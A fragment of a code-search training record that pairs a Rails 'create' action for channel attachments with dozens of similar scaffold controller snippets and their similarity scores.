"def create\n @message_attachment = MessageAttachment.new(params[:message_attachment])\n\n respond_to do |format|\n if @message_attachment.save\n format.html { redirect_to @message_attachment, notice: 'Message attachment was successfully created.' }\n format.json { render json: @message_attachment, status: :created, location: @message_attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @file_record = FileRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_record }\n end\n end",
"def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @download }\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to \"/\", notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @article = Article.new\n @user = User.find_by_id(session[:user_id])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @article }\n end\n \n # def uri?(attachment_url)\n # uri = URI.parse(attachment_url)\n # %w( http https ).include?(uri.scheme)\n # rescue URI::BadURIError\n # false\n # end\n # \n #\n end",
"def new\n KyuEntry.invalid_attachments\n @kyu_entry = KyuEntry.new\n new_kyu = render_to_string(partial: \"newentry\",\n locals: {kyu_entry: @kyu_entry})\n respond_to do |format|\n format.json { render json: new_kyu.to_json }\n end\n end",
"def new\n @file_version = FileVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_version }\n end\n end",
"def new\n @job_application_attachment = JobApplicationAttachment.new\n @job_applications = JobApplication.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application_attachment }\n end\n end",
"def new\n @fileversion = Fileversion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fileversion }\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @attachment }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @mail_item = MailItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mail_item }\n end\n end",
"def new\n @file_sequence = FileSequence.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_sequence }\n end\n end",
"def new\n @up_file = UpFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @up_file }\n end\n end",
"def new\n @arquivo = Arquivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arquivo }\n end\n end",
"def new\n @arquivo = Arquivo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @arquivo }\n end\n end",
"def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end",
"def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end",
"def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end",
"def new\n @upload = Upload.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @upload }\n end\n end",
"def new\n @course = Course.new\n @course.attachments.new \n end",
"def new\n @mailbox = Mailbox.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mailbox }\n end\n end",
"def new\n @inventory_file = InventoryFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @inventory_file }\n end\n end",
"def new\n @content_item = ContentItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content_item }\n end\n end",
"def new\n @kf_course_knowledge_attachment = Kf::CourseKnowledgeAttachment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @kf_course_knowledge_attachment }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @post = Post.find(params[:post_id])\n @attach = Attach.new\n end",
"def new\n @file_info = FileInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_info }\n end\n end",
"def new\n @media_item = MediaItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @media_item }\n end\n end",
"def new\n @announce = Announce.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announce }\n end\n end",
"def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @upload }\n end\n end",
"def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end",
"def new\n @wallpaper = Wallpaper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @wallpaper }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end",
"def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo }\n end\n end",
"def new\n\t\t@product = Product.new\n\t\t@products = Product.all\n\t\t@attachment_file = AttachmentFile.new\n\t\t@action = 'create'\n\t\trespond_to do |format|\n\t\t format.html # new.html.erb\n\t\t format.json { render :json => @product }\n\t\tend\n end",
"def new\n @special_document = ModifiedDocument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @special_document }\n end\n end",
"def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end",
"def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part }\n end\n end",
"def new\n @title = \"New Subject\"\n @subject = Subject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subject }\n end\n end",
"def new\n @test_file = TestFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_file }\n end\n end",
"def new\r\n @gallery_activity = GalleryActivity.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @gallery_activity }\r\n end\r\n end",
"def create\n puts params\n item_data = {\n :title => params[:title],\n :description => params[:description]\n }\n @item = current_user.items.build(item_data)\n if params[:attachments]\n params[:attachments].each do |att_id|\n @att = Attachment.find(att_id)\n @item.attachments.push(@att)\n if @att.att_type == 'photo'\n @item.photos.build(\n photo_url: @att.url\n )\n end\n end\n end\n if @item.save\n respond_to do |format|\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create item\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @content }\n end\n end",
"def new\n @cause_analyasis = CauseAnalysis.new()\n @cause_analyasis.build_attachment\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @cause_analyasis }\n end\n end",
"def new\n @medium_body_part = MediumBodyPart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_body_part }\n end\n end",
"def new\n @backup_file = BackupFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @backup_file }\n end\n end",
"def new\n @paper = Paper.new\n @document = @paper.documents.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @paper }\n end\n end",
"def new\n @issue = Issue.new\n\n @new = true\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @issue }\n end\n end",
"def new\n @digital_content_file = DigitalContentFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @digital_content_file }\n end\n end",
"def new\n @resource_file = ResourceFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @resource_file }\n end\n end",
"def new\n authorize Answer\n @answer = Answer.new\n @answer.attachments.build\n end",
"def create\n @cms_attachment = Cms::Attachment.new(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @item = Item.new\n @item.item_attachments.build\n @panels = Panel.where(\"active=?\", true)\n @items = Item.where(\"active=?\", true).order(\"title asc\")\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item }\n end\n end",
"def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @announcement }\n end\n end",
"def new\n @content = Content.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @content }\n end\n end",
"def new\n @photo = @allbum.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end",
"def new\n @media_type = MediaType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @media_type }\n end\n end",
"def new\n @medium = Medium.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium }\n end\n end",
"def new\n @pgn_file = PgnFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pgn_file }\n end\n end",
"def new\n @file_project = FileProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_project }\n end\n end"
] |
[
"0.81709224",
"0.8170589",
"0.8170589",
"0.78508574",
"0.761951",
"0.75803447",
"0.75803447",
"0.7562457",
"0.75601494",
"0.7498397",
"0.7498397",
"0.73243886",
"0.71986645",
"0.7149602",
"0.69428575",
"0.69420975",
"0.69375825",
"0.69180787",
"0.6755026",
"0.6755026",
"0.67450595",
"0.6707032",
"0.66737676",
"0.6664244",
"0.6657505",
"0.65983903",
"0.65923506",
"0.6584245",
"0.65680146",
"0.6555672",
"0.6550235",
"0.65302163",
"0.65264153",
"0.6515445",
"0.64871496",
"0.64854693",
"0.6483972",
"0.6474084",
"0.6473949",
"0.64623094",
"0.64616585",
"0.64616585",
"0.64616585",
"0.64572144",
"0.6437927",
"0.64155155",
"0.64154553",
"0.64087373",
"0.6398556",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6397724",
"0.6393721",
"0.63917965",
"0.63916254",
"0.6379464",
"0.63775796",
"0.63701737",
"0.6366725",
"0.6358276",
"0.6358276",
"0.6356914",
"0.6346915",
"0.6344467",
"0.6343322",
"0.6343191",
"0.63408226",
"0.63387585",
"0.63385904",
"0.6338575",
"0.6338575",
"0.6338575",
"0.6338575",
"0.6338575",
"0.6338575",
"0.63337404",
"0.6332163",
"0.6330495",
"0.63273597",
"0.63098717",
"0.63067436",
"0.63051474",
"0.63032496",
"0.6303217",
"0.63030285",
"0.63022614",
"0.62929493",
"0.6289698",
"0.6286847",
"0.6285006",
"0.6283206",
"0.62772185"
] |
0.0
|
-1
|
POST /attachments POST /attachments.json
|
def create
@channel = Channel.find_by_name(params[:channel_id])
@attachment = Attachment.new(params[:attachment])
# {"file"=>#<ActionDispatch::Http::UploadedFile:0x00000005bc3158 @original_filename="investor_faq.org", @content_type="application/octet-stream",
# @headers="Content-Disposition: form-data; name=\"file\"; filename=\"investor_faq.org\"\r\nContent-Type: application/octet-stream\r\n", @tempfile=#<File:/tmp/RackMultipart20111212-24212-4znzta>>
# "commit"=>"Upload",
# "utf8"=>"✓",
# "authenticity_token"=>"SrS7bnPQ76RQJLWOx58bm1uyDsQq5f4FObPLl9Zh+Ao=",
# "remotipart_submitted"=>"true",
# "X-Requested-With"=>"IFrame",
# "X-Http-Accept"=>"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01",
# "channel_id"=>"Shiro"
# }
@attachment.user = current_user
@attachment.channel = Channel.find_by_name(params[:channel_id])
@attachment.file = params[:file]
respond_to do |format|
if @attachment.save
format.html { }
format.js
format.json { render json: @attachment, status: :created }
else
format.html { render action: "new" }
format.js
format.json { render json: @attachment.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @document = Document.new(document_params)\n\n respond_to do |format|\n if @document.save\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully created.' }\n format.json { render :show, status: :created, location: @document }\n else\n format.html { render :new }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n hash = []\n params[:files].each do |i,file_io|\n path = File.join(Rails.root,'public','attach',file_io.original_filename)\n File.open(path, \"wb\") { |f| f.write(file_io.read)}\n attachment = Attachment.create do |attach|\n attach.name = file_io.original_filename\n attach.describe = params[:describe]\n end \n hash.push attachment\n end\n render json: hash\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment = Attachment.new(params[:attachment])\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render json: @attachment, status: :created, location: @attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to \"/\", notice: 'Attachment was successfully created.' }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @attachment }\n else\n format.html { render :new }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_attachment(file_s)\n setup\n @req = Net::HTTP::Post.new(\"/uploads.json\")\n auth\n @req[\"Content-Type\"] = \"application/octet-stream\"\n @req[\"Content-Length\"] = file_s.length\n @req.body = file_s\n res = @http.request(@req)\n\n if res.code.to_i == 201\n return [true, JSON.load(res.body)[\"upload\"][\"token\"]]\n else\n return [false, JSON.load(res.body)[\"errors\"].first]\n end\n end",
"def create\n @attachment = Attachment.new(attachment_params)\n\n respond_to do |format|\n if @attachment.save\n format.html { redirect_to @attachment, notice: 'Attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n\n respond_to do |format|\n if @post.save\n params[:post_attachments]['avatar'].each do |a|\n @post_attachment = @post.post_attachments.create(:avatar => a, :post_id => @post.id)\n end\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n expire_action( news_url(nil) )\n expire_action( home_url() )\n \n params[:attachments].each do |att|\n @post.attachments.create :uploadedfile=>att\n end if params.has_key?( :attachments )\n \n flash[:notice] = 'Post was successfully created.'\n format.html { redirect_to posts_url }\n format.xml { head :created, :location => posts_url }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end",
"def multi_upload\n authenticate!\n attachments = []\n (attachment_params[:attachments] || []).each do |key, value|\n if value[:file]\n attachment = value[:file]\n attachment_params = {\n :filename => attachment[:filename],\n :type => attachment[:type],\n :headers => attachment[:head],\n :tempfile => attachment[:tempfile]\n }\n file = ActionDispatch::Http::UploadedFile.new(attachment_params)\n attachments << Attachment.create(file: file, user: current_user)\n end\n end\n {\n code: 0,\n data: attachments\n }\n end",
"def connect_attachments(params)\n json_attachments = params['data'].try(:[], 'relationships').try(:[], 'attachments')\n return if json_attachments.blank?\n\n attachment_list = resource_list('attachment', json_attachments)\n\n attachment_list.each do |attachment|\n attachment.attachable = self\n attachment.save\n end\n end",
"def add_attachments\n frm.button(:value=>\"Add Attachments\").click\n AnnouncementsAttach.new(@browser)\n end",
"def create\n @travel_post_attachment = TravelPostAttachment.new(travel_post_attachment_params)\n\n respond_to do |format|\n if @travel_post_attachment.save\n format.html { redirect_to @travel_post_attachment, notice: 'Travel post attachment was successfully created.' }\n format.json { render :show, status: :created, location: @travel_post_attachment }\n else\n format.html { render :new }\n format.json { render json: @travel_post_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def upload\n permitted_params = params[:attachment]\n file = permitted_params.delete(:file)\n attr = {file: file, user: current_user}\n\n if permitted_params[:attachmentable_type].present? && permitted_params[:attachmentable_id].present?\n attachmentable_type = permitted_params[:attachmentable_type]\n attachmentable_id = permitted_params[:attachmentable_id]\n attr = attr.merge(attachmentable_type: attachmentable_type, attachmentable_id: attachmentable_id)\n end\n\n attachment = Attachment.new(attr)\n if attachment.savee\n render json:{\n code: 0,\n data: AttachmentSerializer.new(attachment)\n }\n else\n render json:{\n code: -1,\n data: {\n message: attachment.errors.full_messages,\n }\n }\n end\n\n end",
"def create\n @message_attachment = MessageAttachment.new(params[:message_attachment])\n\n respond_to do |format|\n if @message_attachment.save\n format.html { redirect_to @message_attachment, notice: 'Message attachment was successfully created.' }\n format.json { render json: @message_attachment, status: :created, location: @message_attachment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_attachments attachments\n Attachment.add(attachments, self)\n end",
"def test_issue_attachements\n log_user('jsmith', 'jsmith')\n\n post 'issues/edit/1',\n :notes => 'Some notes',\n :attachments => {'1' => {'file' => test_uploaded_file('testfile.txt', 'text/plain'), 'description' => 'This is an attachment'}}\n assert_redirected_to \"issues/show/1\"\n \n # make sure attachment was saved\n attachment = Issue.find(1).attachments.find_by_filename(\"testfile.txt\")\n assert_kind_of Attachment, attachment\n assert_equal Issue.find(1), attachment.container\n assert_equal 'This is an attachment', attachment.description\n # verify the size of the attachment stored in db\n #assert_equal file_data_1.length, attachment.filesize\n # verify that the attachment was written to disk\n assert File.exist?(attachment.diskfile)\n \n # remove the attachments\n Issue.find(1).attachments.each(&:destroy)\n assert_equal 0, Issue.find(1).attachments.length\n end",
"def create\n a=JSON.parse(params.to_json)\n Attachment.create_file(params[:encoded],@current_user)\n respond_to do |format|\n format.json { render :json => success }\n format.xml { render :xml => success }\n end\n end",
"def create\n @post_attachment = PostAttachment.new(post_attachment_params.merge(:post_id => @post.id))\n respond_to do |format|\n if @post.save\n unless params[:post_attachments].nil?\n params[:post_attachments]['picture'].each do |a|\n @post_attachment = @post.post_attachments.create!(:picture => a, :post_id => @post.id)\n end\n else format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :ok, location: @post }\n end\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def permitted_attachments_params\n params.permit(attachments: [])\n end",
"def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end",
"def attachments(*params)\n id = params[0]\n unnamed = params[1]\n if params[0].class == Hash\n params = params[0]\n id = params[:id] if params.has_key? :id\n unnamed = params[:unnamed] if params.has_key? :unnamed\n end\n unnamed = false if unnamed.to_s == \"0\"\n id = $~[1] if id =~ /ticket\\/(\\d+)/\n resp = @site[\"ticket/#{id}/attachments\"].get\n resp.gsub!(/RT\\/\\d+\\.\\d+\\.\\d+\\s\\d{3}\\s.*\\n\\n/,\"\") # toss the HTTP response\n resp.gsub!(/^\\n/m,\"\") # toss blank lines\n while resp.match(/CF\\.\\{[\\w_ ]*[ ]+[\\w ]*\\}/) #replace CF spaces with underscores\n resp.gsub!(/CF\\.\\{([\\w_ ]*)([ ]+)([\\w ]*)\\}/, 'CF.{\\1_\\3}')\n end\n th = response_to_h(resp)\n list = []\n pattern = /(\\d+:\\s.*?\\))(?:,|$)/\n match = pattern.match(th['attachments'].to_s)\n while match != nil\n list.push match[0]\n s = match.post_match\n match = pattern.match(s)\n end\n attachments = []\n list.each do |v|\n attachment = {}\n m=v.match(/(\\d+):\\s+(.*?)\\s+\\((.*?)\\s+\\/\\s+(.*?)\\)/)\n if m.class == MatchData\n next if m[2] == \"(Unnamed)\" and !unnamed\n attachment[:id] = m[1]\n attachment[:name] = m[2]\n attachment[:type] = m[3]\n attachment[:size] = m[4]\n attachments.push attachment\n end\n end\n attachments\n end",
"def create_attachment\n @artifact_answer = ArtifactAnswer.find(params[:id])\n if params[:file]\n params[:file].each do |attachment|\n @artifact_answer.attachments.create(attachment_file: attachment, :company_id => current_company.id)\n @attachment_error = @artifact_answer.attachments.last.errors[:\"file_size_exceeds\"][0] if @artifact_answer.attachments.last.errors.present?\n end\n end\n @attachments = @artifact_answer.attachments\n end",
"def call(attachments)\n Attachment.where({canvas_user_id: attachment_conf[:canvas_user_id], submission_id: attachment_conf[:submission_id]}).\n delete_all\n attachments.each do |attachment|\n Attachment.create(attachment_conf.merge({date: Time.parse(attachment['updated_at']),\n attachment_id: attachment['id'], image_url: attachment['url'], content_type: attachment['content-type']})\n )\n end\n end",
"def create\n @ticket = Ticket.new(ticket_params)\n\n respond_to do |format|\n if @ticket.save\n params[:ticket_attachments]['image'].each do |i|\n @ticket_attachment = @ticket.ticket_attachments.create!(:image => i)\n end\n format.html { redirect_to @ticket, notice: 'Ticket was successfully created.' }\n format.json { render :show, status: :created, location: @ticket }\n else\n format.html { render :new }\n format.json { render json: @ticket.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @document.update(document_params)\n if params[:attachments]\n params[:attachments].each do |a|\n @attachment = @document.attachments.create!(:attachment => a)\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @attachment_datum = AttachmentDatum.new(params[:attachment_datum])\n\n respond_to do |format|\n if @attachment_datum.save\n format.html { redirect_to @attachment_datum, notice: 'Attachment datum was successfully created.' }\n format.json { render json: @attachment_datum, status: :created, location: @attachment_datum }\n else\n format.html { render action: \"new\" }\n format.json { render json: @attachment_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @file_upload_attachment = FileUploadAttachment.new(file_upload_attachment_params)\n\n respond_to do |format|\n if @file_upload_attachment.save\n format.html { redirect_to @file_upload_attachment, notice: 'File upload attachment was successfully created.' }\n format.json { render action: 'show', status: :created, location: @file_upload_attachment }\n else\n format.html { render action: 'new' }\n format.json { render json: @file_upload_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def attachment_params\n params.require(:attachment).permit( :attachment)\n end",
"def create\n @cms_attachment = Cms::Attachment.new(cms_attachment_params)\n\n respond_to do |format|\n if @cms_attachment.save\n format.html { redirect_to @cms_attachment, notice: 'Attachment was successfully created.' }\n format.json { render :show, status: :created, location: @cms_attachment }\n else\n format.html { render :new }\n format.json { render json: @cms_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @event_attachment = EventAttachment.new(event_attachment_params)\n\n respond_to do |format|\n if @event_attachment.save\n format.html { redirect_to @event_attachment, notice: 'Event attachment was successfully created.' }\n format.json { render :show, status: :created, location: @event_attachment }\n else\n format.html { render :new }\n format.json { render json: @event_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_attachment!(params={})\n raise ArgumentError, \"Error: ids, data, file_name, summary, and content_type are required args\" unless check_params([:ids, :data, :file_name, :summary, :content_type], params)\n rpc_call :add_attachment, params\n end",
"def create\n @applicant = Applicant.find(params[:applicant_id])\n @attachment = @applicant.attachments.build(params[:attachment])\n\n respond_to do |format|\n if @attachment.save!\n @activity = Activity.create \\\n\t :actor => current_user,\n\t :job_id => @applicant.job_id,\n\t :account_id => @applicant.account_id,\n\t :applicant_id => @applicant.id,\n :action => 'attached',\n :subject_id => @attachment.id,\n :subject_type => 'Attachment'\n \n format.html { redirect_to(applicant_path(@applicant), :notice => 'Attachment was successfully created.') }\n format.xml { render :xml => @attachment, :status => :created, :location => @attachment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @attachment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @friends_attachment = FriendsAttachment.new(friends_attachment_params)\n\n respond_to do |format|\n if @friends_attachment.save\n format.html { redirect_to @friends_attachment, notice: \"Friends attachment was successfully created.\" }\n format.json { render :show, status: :created, location: @friends_attachment }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @friends_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_attachments(issue, args)\n if issue.persisted?\n delete_ids = args[:delete_attachments]\n issue.attachments.in(id: delete_ids).update_all(deleted: true)\n end\n\n return if (attachments.nil? || attachments.empty?)\n\n attachments.each do |attachment|\n if attachment[:id].blank?\n new_file = issue.attachments.build\n new_file.file = attachment[:data] # <json string>\n new_file.save!\n end\n end\n end",
"def create\n @attachment = Attachment.new(uploaded_data: params[:file], col_sep: params[:col_sep], quote_char: params[:quote_char], encoding: params[:encoding])\n @attachment.user = current_user\n @attachment.save!\n # TODO rescue parser errors -> rows empty\n rows = @attachment.rows(4)\n render json: {errors: @attachment.parse_error, id: @attachment.id, rows: rows}, status: :ok\n end",
"def create\n @attachfile = Attachfile.new(attachfile_params)\n\n respond_to do |format|\n if @attachfile.save\n format.html { redirect_to @attachfile, notice: 'Attachfile was successfully created.' }\n format.json { render :show, status: :created, location: @attachfile }\n else\n format.html { render :new }\n format.json { render json: @attachfile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #debugger\n blog = blog_params[:name]\n @user = User.find(session[:user_id])\n\n params[:image][:attached_assets_attrs].each do |item|\n ImgGroup.post item[:asset], @user, blog\n end\n\n respond_to do |format|\n format.html { render action: 'done' }\n format.json { render text: 'All posted.', status: :created, location: @image }\n end\n end",
"def upload\n requires_user_can :edit, task\n\n attachment = paper_attachment.file\n paper_attachment.worker.download(\n paper,\n paper_attachment.s3_url,\n current_user\n )\n\n render json: attachment,\n status: paper_attachment.existing_file ? 200 : 201,\n root: 'attachment',\n serializer: AttachmentSerializer\n end",
"def add_attachments\n frm.button(:name=>\"attach\").click\n AssignmentsAttachments.new(@browser)\n end",
